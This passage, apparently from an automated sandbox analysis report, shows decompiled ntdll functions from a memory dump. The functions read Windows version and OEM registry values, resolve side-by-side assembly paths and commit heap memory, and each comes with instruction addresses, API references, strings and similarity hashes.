					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6B589600() >= 0) {
						if(E6B5466D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6B5895D0();
					}
					_v308 = 0x11c;
					E6B574020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6B58A9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6B589600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6B5466D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6B5895D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6B58B640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6b5465a8
0x6b5465b5
0x6b5465bc
0x6b5465bf
0x6b5465c1
0x6b5465c6
0x6b5465ca
0x6b5465cd
0x6b5465d4
0x6b5a19a6
0x6b5a19a8
0x6b5a19ab
0x6b5a19b3
0x6b5a19b7
0x6b5a19b7
0x6b5a19c2
0x6b5a19c7
0x6b5a19cb
0x6b5a19cd
0x6b5a19d6
0x6b5a19de
0x6b5a19e8
0x6b5a19ec
0x6b5a19ed
0x6b5a19f6
0x6b5a19fe
0x6b5a19ff
0x6b5a1a03
0x6b5a1a0e
0x6b5a1a25
0x6b5a1a27
0x6b5a1a27
0x6b5a1a2b
0x6b5a1a2f
0x6b5a1a2f
0x6b5a1a38
0x6b5a1a41
0x6b5a1a66
0x6b5a1a6a
0x6b5a1a6e
0x6b5a1a71
0x6b5a1a73
0x6b5a1a76
0x6b5a1a78
0x6b5a1a78
0x6b5465dc
0x6b5465e7
0x6b5465ec
0x6b5465f0
0x6b5465f8
0x6b546601
0x6b546602
0x6b546608
0x6b54660d
0x6b546612
0x6b546613
0x6b546618
0x6b54661c
0x6b54661c
0x6b546620
0x6b54663b
0x6b546644
0x6b546644
0x6b54664f
0x6b546654
0x6b546658
0x6b54665c
0x6b546660
0x6b546662
0x6b54666b
0x6b546673
0x6b54667b
0x6b54667c
0x6b546685
0x6b546689
0x6b54668a
0x6b546692
0x6b546696
0x6b5466a1
0x6b5466b0
0x6b5466bc
0x6b5466d0
0x6b5466d0
0x6b5466be
0x6b5466c2
0x6b5466c2
0x6b5466a1
0x6b546629
0x6b54662a
0x6b54662b
0x6b546636

APIs

RtlInitUnicodeString.1105 ref: 6B5465F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6B546613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6B546662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6B5466C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6B54669A

Part of subcall function 6B589600: LdrInitializeThunk.NTDLL(6B581119,?,?,00000018,?), ref: 6B58960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B5A19CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6B5A1A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6B5A1A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6B5A1A41

Strings

Kernel-OneCore-DeviceFamilyID, xrefs: 6B5465DE
@, xrefs: 6B5A19F6
DeviceForm, xrefs: 6B5466B0
UBR, xrefs: 6B5A1A19
@, xrefs: 6B54668A
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6B5A19B9
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6B546646

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: 547d8c3506472f98e30cab8112a76851f361755f479e1e3d7b464143e4d5b90b
Instruction ID: 1dd5c09fac71f67858fab5a0b7365316e619642b7f5ffd58e6f40a732a153ba4
Opcode Fuzzy Hash: 547d8c3506472f98e30cab8112a76851f361755f479e1e3d7b464143e4d5b90b
Instruction Fuzzy Hash: 47513AB15083159FE314CF29C881A8BBBE8BFC9754F00492EFA98D7254D735DA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B562430, Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 461
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6B562430(signed char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20, signed int _a24, intOrPtr* _a28, int _a32, intOrPtr* _a36) {
				signed int _v8;
				char _v140;
				short _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				signed int _v196;
				signed int _v200;
				short* _v204;
				short* _v208;
				short* _v212;
				signed int _v214;
				void _v216;
				short _v224;
				short _v228;
				short* _v232;
				signed short* _v236;
				signed short* _v240;
				short _v242;
				char _v244;
				intOrPtr _v248;
				void* _v252;
				intOrPtr _v256;
				void* _v260;
				char* _v280;
				char _v284;
				int _v288;
				char _v292;
				signed int _v296;
				int _v300;
				signed int _v304;
				int _v312;
				intOrPtr _v316;
				char _v320;
				signed int _v324;
				signed short _v328;
				signed short* _v332;
				signed int _v336;
				char _v337;
				void* _v338;
				void* _v342;
				void* _v344;
				void* _v348;
				void* _v352;
				void* _v353;
				void* _v354;
				void* _v356;
				void* _v364;
				void* _v366;
				void* _v368;
				void* _v370;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t179;
				signed short* _t180;
				intOrPtr _t182;
				intOrPtr _t186;
				short* _t187;
				intOrPtr _t193;
				short* _t194;
				short* _t202;
				signed int _t224;
				char _t225;
				signed int _t226;
				intOrPtr* _t233;
				intOrPtr* _t246;
				void* _t247;
				intOrPtr* _t248;
				char* _t249;
				intOrPtr* _t255;
				short* _t256;
				signed short* _t259;
				signed int _t262;
				intOrPtr* _t264;
				void* _t265;
				signed short* _t266;
				intOrPtr _t267;
				int _t268;
				signed short* _t269;
				void* _t274;
				void* _t275;
				signed int _t276;
				void* _t278;
				signed int _t280;
				signed int _t282;

				_t282 = (_t280 & 0xfffffff8) - 0x154;
				_v8 =  *0x6b63d360 ^ _t282;
				_t248 = _a28;
				_t258 = _a32;
				_t179 = _a36;
				_t246 = _a20;
				_v296 = _t248;
				_v320 = 0;
				_v316 = 0;
				_v280 =  &_v140;
				_v300 = _t258;
				_v284 = 0x800000;
				_v288 = 0;
				_v328 = 0;
				_v304 = 0;
				_t264 = _a8;
				if(_t248 != 0) {
					 *_t248 = 0;
				}
				if(_t258 != 0) {
					 *_t258 = 0;
				}
				if(_t179 != 0) {
					 *_t179 = 0x208;
				}
				if(_t246 != 0) {
					 *_t246 = 0;
					 *((intOrPtr*)(_t246 + 4)) = 0;
				}
				_t180 =  &_v172;
				_v228 = 0x20;
				_v236 = _t180;
				_v232 = _t180;
				_v240 = _t180;
				_v172 = 0;
				_t182 = _a16;
				_v224 = 0x20;
				_v244 = 0x200000;
				if(_t182 == 0) {
					_t249 =  &_v192;
					_v200 = 2;
					_v208 = _t249;
					_v204 = _t249;
					_v212 = _t249;
					_v196 = 2;
					_v192 = 0;
					_v216 = 0x20000;
				} else {
					_t262 =  *(_t182 + 2) & 0x0000ffff;
					_t256 =  *((intOrPtr*)(_t182 + 4));
					if(_t262 < 2) {
						_t256 =  &_v192;
						_t262 = 2;
					}
					_v208 = _t256;
					_v200 = _t262;
					_v204 = _t256;
					_v196 = _t262;
					_v212 = _t256;
					if(_t256 != 0) {
						 *_t256 = 0;
					}
					_v214 = _t262;
					_t258 = _v300;
					_v216 = 0;
				}
				_t251 = _a24;
				_v188 = _t182;
				_v184 = _t246;
				_v180 = _t251;
				_v176 = 1;
				if((_a4 & 0xfffffffe) != 0) {
					_t274 = 0xc000000d;
					goto L82;
				} else {
					if(_t264 == 0) {
						_t274 = 0xc000000d;
						L82:
						if(_t274 >= 0) {
							L57:
							_t183 = _v316;
							if(_v316 != 0) {
								E6B54AD30(_t183);
								_v324 = 0;
								_v320 = 0;
							}
							_t186 = _v236;
							if(_t186 != 0) {
								if(_t186 != _v232) {
									_v248 = _t186;
									RtlFreeUnicodeString( &_v252);
								}
								_v240 = _v236;
								_v232 = _v228;
							}
							_t187 = _v232;
							_v240 = _t187;
							if(_t187 != 0) {
								_t251 = 0;
								 *_t187 = 0;
							}
							_v244 = 0;
							_v242 = _v224;
							if(_t274 == 0xc0150001) {
								E6B5E5100(_t251, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x1b2, "Status != STATUS_SXS_SECTION_NOT_FOUND");
								_t274 = 0xc00000e5;
								goto L82;
							} else {
								_pop(_t265);
								_pop(_t275);
								_pop(_t247);
								return E6B58B640(_t274, _t247, _v8 ^ _t282, _t258, _t265, _t275);
							}
						}
						L51:
						if(_v176 != 0) {
							_t193 = _v208;
							if(_t193 != 0 && _t193 != _v204) {
								_v256 = _t193;
								RtlFreeUnicodeString( &_v260);
							}
							_t194 = _v204;
							if(_t194 != 0) {
								_t251 = 0;
								 *_t194 = 0;
							}
						}
						memset( &_v216, 0, 0x2c);
						_t282 = _t282 + 0xc;
						goto L57;
					}
					if(_t182 == 0) {
						if(_t246 != 0 || _t258 == 0) {
							L15:
							_t251 = 0;
							_t266 =  *(_t264 + 4);
							_v336 =  *_t264;
							_t202 = _a12;
							_v332 = _t266;
							_v338 = 0;
							if(_t202 == 0 ||  *_t202 == 0) {
								L23:
								_t274 = 0;
								goto L24;
							} else {
								_v337 = 0;
								_t278 = E6B563690(1,  &_v336, 0x6b5211bc,  &_v292);
								if(_t278 < 0) {
									if(_t278 == 0xc0000225) {
										L19:
										_t274 = 0;
										L20:
										_t266 = _v332;
										if(_t274 < 0) {
											L97:
											_t251 = _v338;
											L24:
											if(_t274 < 0) {
												goto L51;
											}
											if(_t251 != 0) {
												_t266 = _v240;
												_v336 = _v244;
												_v332 = _t266;
											}
											_v312 = 0;
											_v338 = 0;
											if(_v316 != 0) {
												_t274 = 0xc000000d;
												goto L42;
											} else {
												_t224 = _v336;
												if(_t224 < 2) {
													L30:
													if(_t224 < 4 ||  *_t266 == 0 || _t266[1] != 0x3a || _t224 < 6) {
														L40:
														_t225 = _v338;
														goto L41;
													} else {
														_t226 = _t266[2] & 0x0000ffff;
														if(_t226 != 0x5c) {
															if(_t226 != 0x2f) {
																goto L40;
															}
														}
														_v324 = 2;
														L36:
														_t274 = E6B563850( &_v336,  &_v284,  &_v320,  &_v312, 0, 0,  &_v324, 0);
														if(_t274 < 0) {
															L42:
															_t204 = _v316;
															if(_v316 != 0) {
																E6B54AD30(_t204);
																_v324 = 0;
																_v320 = 0;
															}
															L43:
															if(_t274 < 0) {
																goto L51;
															}
															if((_a4 & 0x00000001) == 0 ||  *((intOrPtr*)( *[fs:0x30] + 0x10)) == 0 || ( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00001000) == 0) {
																L47:
																_t267 = _a16;
																if((_v304 & 0x00000001) != 0) {
																	L77:
																	if(_t246 == 0) {
																		if(_t267 == 0 || _v212 ==  *((intOrPtr*)(_t267 + 4))) {
																			goto L78;
																		} else {
																			_t274 = 0xc0000023;
																			goto L82;
																		}
																	}
																	L78:
																	_t268 = _v300;
																	if(_t268 != 0) {
																		_t274 = E6B563690(1,  &_v216, 0x6b521810,  &_v328);
																		if(_t274 < 0) {
																			goto L51;
																		}
																		 *_t268 = ((_v328 & 0x0000ffff) >> 1) + 1;
																	}
																	_t251 =  &_v216;
																	_t274 = E6B585969( &_v216);
																	if(_t274 < 0) {
																		goto L51;
																	}
																	_t251 = _v296;
																	if(_t251 != 0) {
																		 *_t251 = _v304;
																	}
																	_t274 = 0;
																	goto L82;
																}
																if(_t267 == 0) {
																	if(_t246 != 0) {
																		goto L49;
																	}
																	_t258 = 1;
																	L50:
																	_t251 =  &_v336;
																	_t274 = E6B562990( &_v336, _t258,  &_v288, _v296,  &_v216);
																	if(_t274 >= 0) {
																		goto L77;
																	}
																	goto L51;
																}
																L49:
																_t258 = 0;
																goto L50;
															} else {
																_t258 =  &_v216;
																_t251 =  &_v336;
																_t274 = E6B5D40D2( &_v336,  &_v216,  &_v304);
																if(_t274 < 0) {
																	goto L51;
																}
																goto L47;
															}
														}
														_t233 = _v312;
														_t276 =  *_t233;
														_t269 =  *(_t233 + 4);
														_v312 = _t276;
														if(_v324 == 6) {
															_t259 = _v332;
															if( *((short*)(_t259 + 0xa)) != 0x3a ||  *((short*)(_t259 + 0xc)) != 0x5c) {
																goto L38;
															} else {
																_v332 = _t259 + 8;
																_t251 = _v336 + 0xfff8;
																 *((intOrPtr*)(_t282 + 0x16)) =  *((intOrPtr*)(_t282 + 0x16)) + 0xfff8;
																_t258 = _v312 + 0xfff8;
																_t269 =  &(_t269[4]);
																_v312 = _t258;
																 *((intOrPtr*)(_t282 + 0x2e)) =  *((intOrPtr*)(_t282 + 0x2e)) + 0xfff8;
																_t276 = _v312;
																_v336 = _t251;
																L39:
																if(_t251 > _t258) {
																	_t251 =  &_v320;
																	if(_t233 ==  &_v320) {
																		_t225 = 1;
																	} else {
																		_t225 = _v338;
																	}
																	_v336 = _t276;
																	_v332 = _t269;
																	L41:
																	_t274 = 0;
																	if(_t225 != 0) {
																		goto L43;
																	}
																	goto L42;
																}
																goto L40;
															}
														}
														L38:
														_t251 = _v336;
														_t258 = _v312;
														goto L39;
													}
												}
												_t251 =  *_t266 & 0x0000ffff;
												if(_t251 == 0x5c || _t251 == 0x2f) {
													if(_t224 < 4) {
														goto L40;
													}
													_t251 = _t266[1] & 0x0000ffff;
													if(_t251 == 0x5c || _t251 == 0x2f) {
														if(_t224 < 6) {
															L110:
															_v324 = 1;
															goto L36;
														}
														_t251 = _t266[2] & 0x0000ffff;
														if(_t251 == 0x2e || _t251 == 0x3f) {
															if(_t224 < 8) {
																L109:
																if(_t224 == 6) {
																	goto L40;
																}
																goto L110;
															}
															_t251 = _t266[3] & 0x0000ffff;
															if(_t251 == 0x5c || _t251 == 0x2f) {
																_v324 = 6;
																goto L36;
															} else {
																goto L109;
															}
														} else {
															goto L110;
														}
													} else {
														goto L40;
													}
												} else {
													goto L30;
												}
											}
										}
										if(_v337 == 0) {
											_t255 = _a12;
											 *(_t282 + 0x50) = _v336;
											 *(_t282 + 0x54) = _t266;
											 *((intOrPtr*)(_t282 + 0x58)) =  *_t255;
											 *((intOrPtr*)(_t282 + 0x5c)) =  *((intOrPtr*)(_t255 + 4));
											_v244 = 0;
											_t274 = E6B57D5C0(_t255,  &_v244, 2, _t282 + 0x50);
											if(_t274 < 0) {
												goto L97;
											}
											_t251 = 1;
											goto L23;
										}
										_t251 = _v338;
										goto L23;
									}
									goto L20;
								}
								_v337 = 1;
								goto L19;
							}
						} else {
							L96:
							_t274 = 0xc000000d;
							goto L82;
						}
					}
					if(_t246 == 0 || _t251 != 0) {
						goto L15;
					} else {
						goto L96;
					}
				}
			}

0x6b562438
0x6b562445
0x6b56244c
0x6b56244f
0x6b562452
0x6b562456
0x6b56245c
0x6b562460
0x6b562464
0x6b56246f
0x6b562475
0x6b562479
0x6b562481
0x6b562489
0x6b56248e
0x6b562493
0x6b562498
0x6b5628f5
0x6b5628f5
0x6b5624a0
0x6b562956
0x6b562956
0x6b5624a8
0x6b56295d
0x6b56295d
0x6b5624b0
0x6b5624b4
0x6b5624b6
0x6b5624b6
0x6b5624b9
0x6b5624c0
0x6b5624cb
0x6b5624cf
0x6b5624d3
0x6b5624d9
0x6b5624e1
0x6b5624e4
0x6b5624ef
0x6b5624f9
0x6b56280f
0x6b562816
0x6b562821
0x6b562828
0x6b56282f
0x6b562838
0x6b562843
0x6b56284b
0x6b5624ff
0x6b5624ff
0x6b562503
0x6b562509
0x6b5ad20f
0x6b5ad216
0x6b5ad216
0x6b56250f
0x6b562516
0x6b56251d
0x6b562524
0x6b56252b
0x6b562534
0x6b562538
0x6b562538
0x6b56253d
0x6b562545
0x6b562549
0x6b562549
0x6b562558
0x6b56255b
0x6b562562
0x6b562569
0x6b562570
0x6b562578
0x6b5ad220
0x00000000
0x6b56257e
0x6b562580
0x6b5ad22a
0x6b562930
0x6b562932
0x6b562791
0x6b562791
0x6b562797
0x6b5ad3b8
0x6b5ad3bf
0x6b5ad3c3
0x6b5ad3c3
0x6b56279d
0x6b5627a3
0x6b5627a9
0x6b562968
0x6b562971
0x6b562971
0x6b5627b3
0x6b5627be
0x6b5627be
0x6b5627c5
0x6b5627c9
0x6b5627cf
0x6b5627d1
0x6b5627d3
0x6b5627d3
0x6b5627d8
0x6b5627e5
0x6b5627f0
0x6b5ad3e0
0x6b5ad3e5
0x00000000
0x6b5627f6
0x6b5627ff
0x6b562800
0x6b562801
0x6b56280c
0x6b56280c
0x6b5627f0
0x6b56274b
0x6b562753
0x6b562755
0x6b56275e
0x6b5ad3a4
0x6b5ad3ad
0x6b5ad3ad
0x6b56276d
0x6b562776
0x6b562778
0x6b56277a
0x6b56277a
0x6b562776
0x6b562789
0x6b56278e
0x00000000
0x6b56278e
0x6b562588
0x6b56285d
0x6b56259a
0x6b56259c
0x6b56259e
0x6b5625a1
0x6b5625a5
0x6b5625a8
0x6b5625ac
0x6b5625b2
0x6b562600
0x6b562600
0x00000000
0x6b5625ba
0x6b5625be
0x6b5625d4
0x6b5625d8
0x6b56287b
0x6b5625e3
0x6b5625e3
0x6b5625e5
0x6b5625e5
0x6b5625eb
0x6b5ad246
0x6b5ad246
0x6b562602
0x6b562604
0x00000000
0x00000000
0x6b56260c
0x6b5628cf
0x6b5628d3
0x6b5628d7
0x6b5628d7
0x6b562617
0x6b56261f
0x6b562624
0x6b5ad24f
0x00000000
0x6b56262a
0x6b56262a
0x6b562633
0x6b56264a
0x6b56264e
0x6b5626cd
0x6b5626cd
0x00000000
0x6b562663
0x6b562663
0x6b56266a
0x6b5ad2c4
0x00000000
0x00000000
0x6b5ad2ca
0x6b562670
0x6b562678
0x6b56269c
0x6b5626a0
0x6b5626d7
0x6b5626d7
0x6b5626dd
0x6b5628e1
0x6b5628e8
0x6b5628ec
0x6b5628ec
0x6b5626e3
0x6b5626e5
0x00000000
0x00000000
0x6b5626eb
0x6b56270f
0x6b562714
0x6b562717
0x6b5628fc
0x6b5628fe
0x6b5ad352
0x00000000
0x6b5ad368
0x6b5ad368
0x00000000
0x6b5ad368
0x6b5ad352
0x6b562904
0x6b562904
0x6b56290a
0x6b5ad38b
0x6b5ad38f
0x00000000
0x00000000
0x6b5ad39d
0x6b5ad39d
0x6b562910
0x6b56291c
0x6b562920
0x00000000
0x00000000
0x6b562926
0x6b56292c
0x6b562983
0x6b562983
0x6b56292e
0x00000000
0x6b56292e
0x6b56271f
0x6b56286a
0x00000000
0x00000000
0x6b5ad349
0x6b562727
0x6b562738
0x6b562741
0x6b562745
0x00000000
0x00000000
0x00000000
0x6b562745
0x6b562725
0x6b562725
0x00000000
0x6b5ad325
0x6b5ad32a
0x6b5ad331
0x6b5ad33a
0x6b5ad33e
0x00000000
0x00000000
0x00000000
0x6b5ad344
0x6b5626eb
0x6b5626a7
0x6b5626ab
0x6b5626ad
0x6b5626b0
0x6b5626b4
0x6b5ad2cf
0x6b5ad2d8
0x00000000
0x6b5ad2e9
0x6b5ad2f6
0x6b5ad2ff
0x6b5ad302
0x6b5ad307
0x6b5ad30a
0x6b5ad30d
0x6b5ad312
0x6b5ad317
0x6b5ad31b
0x6b5626c4
0x6b5626c7
0x6b56293d
0x6b562943
0x6b56297b
0x6b562945
0x6b562945
0x6b562945
0x6b562949
0x6b56294d
0x6b5626d1
0x6b5626d1
0x6b5626d5
0x00000000
0x00000000
0x00000000
0x6b5626d5
0x00000000
0x6b5626c7
0x6b5ad2d8
0x6b5626ba
0x6b5626ba
0x6b5626bf
0x00000000
0x6b5626bf
0x6b56264e
0x6b562635
0x6b56263b
0x6b5ad25d
0x00000000
0x00000000
0x6b5ad263
0x6b5ad26a
0x6b5ad279
0x6b5ad2b4
0x6b5ad2b4
0x00000000
0x6b5ad2b4
0x6b5ad27b
0x6b5ad282
0x6b5ad28d
0x6b5ad2aa
0x6b5ad2ae
0x00000000
0x00000000
0x00000000
0x6b5ad2ae
0x6b5ad28f
0x6b5ad296
0x6b5ad29d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b56263b
0x6b562624
0x6b5625f6
0x6b562886
0x6b56288d
0x6b562891
0x6b562897
0x6b56289e
0x6b5628a4
0x6b5628ba
0x6b5628be
0x00000000
0x00000000
0x6b5628c4
0x00000000
0x6b5628c4
0x6b5625fc
0x00000000
0x6b5625fc
0x00000000
0x6b562881
0x6b5625de
0x00000000
0x6b5625de
0x6b5ad23c
0x6b5ad23c
0x6b5ad23c
0x00000000
0x6b5ad23c
0x6b56285d
0x6b562590
0x00000000
0x00000000
0x00000000
0x00000000
0x6b562590

APIs

RtlFindCharInUnicodeString.1105(00000001,?,6B5211BC,00000000), ref: 6B5625CF
RtlGetFullPathName_UstrEx.1105(?,?,?,?,00000000,00000000,?,00000000), ref: 6B562697
memset.1105(?,00000000,0000002C), ref: 6B562789
RtlMultiAppendUnicodeStringBuffer.1105(?,00000002,?,00000001,?,6B5211BC,00000000), ref: 6B5628B5
RtlFreeUnicodeString.1105(?,?,?,00000001), ref: 6B562971
RtlDeleteBoundaryDescriptor.1105(00000000), ref: 6B5628E1

Part of subcall function 6B54AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6B5702E9,00000000,?,6B55ECFB,6B6384D8,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?), ref: 6B54AD43

Strings

minkernel\ntdll\sxsisol.cpp, xrefs: 6B5AD3D6
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 6B5AD3CC
, xrefs: 6B5624C0
, xrefs: 6B5624E4
Internal error check failed, xrefs: 6B5AD3DB

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Free$AppendBoundaryBufferCharDeleteDescriptorFindFullHeapMultiName_PathUstrmemset
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 3547848382-3393094623
Opcode ID: 3b69d83be2326ee180da36ddff777d986098960444befcb518ac573a4c993c11
Instruction ID: 3da276e39e1dc6b95d53d15e1a1983a41d00c24b992a8d6dc52cc85df3dead8b
Opcode Fuzzy Hash: 3b69d83be2326ee180da36ddff777d986098960444befcb518ac573a4c993c11
Instruction Fuzzy Hash: 80028E719483518BE320DF28C450BDBB7E5BF99B84F00499EE89897260E779D885CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6B56A229, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 183
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B56A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E6B56DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E6B589730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E6B60A80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E6B589660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E6B54B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E6B567D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E6B60138A(_t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E6B567D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E6B567D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E6B601582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E6B567D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E6B567D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E6B601582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
